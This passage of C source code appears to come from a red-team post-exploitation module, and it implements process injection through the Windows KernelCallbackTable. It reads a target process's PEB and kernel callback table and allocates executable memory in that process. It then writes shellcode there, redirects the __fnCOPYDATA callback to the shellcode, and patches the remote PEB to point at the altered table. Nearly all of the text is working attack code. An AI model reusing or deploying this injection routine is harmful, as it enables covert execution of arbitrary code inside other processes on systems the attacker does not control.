// Get the handle to the target process's window
do
{
hWnd = USER32$FindWindowExA(NULL, hWnd, NULL, NULL);
if ( NULL == hWnd ) { break; }
USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
if (NULL == hWnd)
{
dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
internal_printf("Failed to find a window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
goto end;
}
// Get the ProcessBasicInformation of the remote process
intZeroMemory(&processBasicInformation, sizeof(processBasicInformation));
dwErrorCode = NtQueryInformationProcess(
lpProcessInfo->hProcess,
ProcessBasicInformation,
&processBasicInformation,
sizeof(processBasicInformation),
NULL
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtQueryInformationProcess failed (%lu)\n", dwErrorCode);
goto end;
}
// Read in the PEB from the remote process
intZeroMemory(&peb, sizeof(peb));
dwErrorCode = NtReadVirtualMemory(
lpProcessInfo->hProcess,
processBasicInformation.PebBaseAddress,
&peb,
sizeof(peb),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Read in the kernel callback table from the remote process
intZeroMemory(&kernelCallbackTable, sizeof(kernelCallbackTable));
dwErrorCode = NtReadVirtualMemory(
lpProcessInfo->hProcess,
peb.KernelCallbackTable,
&kernelCallbackTable,
sizeof(kernelCallbackTable),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtReadVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Allocate remote shellcode buffer
RegionSize = dwShellcodeBufferSize + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteShellcodeBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the shellcode to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteShellcodeBuffer,
lpShellcodeBuffer,
dwShellcodeBufferSize,
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Update the Kernel Callback Table to point to our shellcode
kernelCallbackTable.__fnCOPYDATA = (ULONG_PTR)lpRemoteShellcodeBuffer;
// Allocate the new Kernel Callback Table buffer
RegionSize = sizeof(kernelCallbackTable) + 1;
dwErrorCode = NtAllocateVirtualMemory(
lpProcessInfo->hProcess,
&lpRemoteKernelCallbackTableBuffer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (STATUS_SUCCESS != dwErrorCode)
{
internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Write the new Kernel Callback Table to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
lpRemoteKernelCallbackTableBuffer,
&kernelCallbackTable,
sizeof(kernelCallbackTable),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}
// Update the PEB in the remote process to use the new kernel callback table
dwErrorCode = NtWriteVirtualMemory(
lpProcessInfo->hProcess,
(PBYTE)processBasicInformation.PebBaseAddress + offsetof(intPEB, KernelCallbackTable),
&lpRemoteKernelCallbackTableBuffer,
sizeof(ULONG_PTR),
&RegionSize
);
if ( STATUS_SUCCESS != dwErrorCode )
{
internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
goto end;
}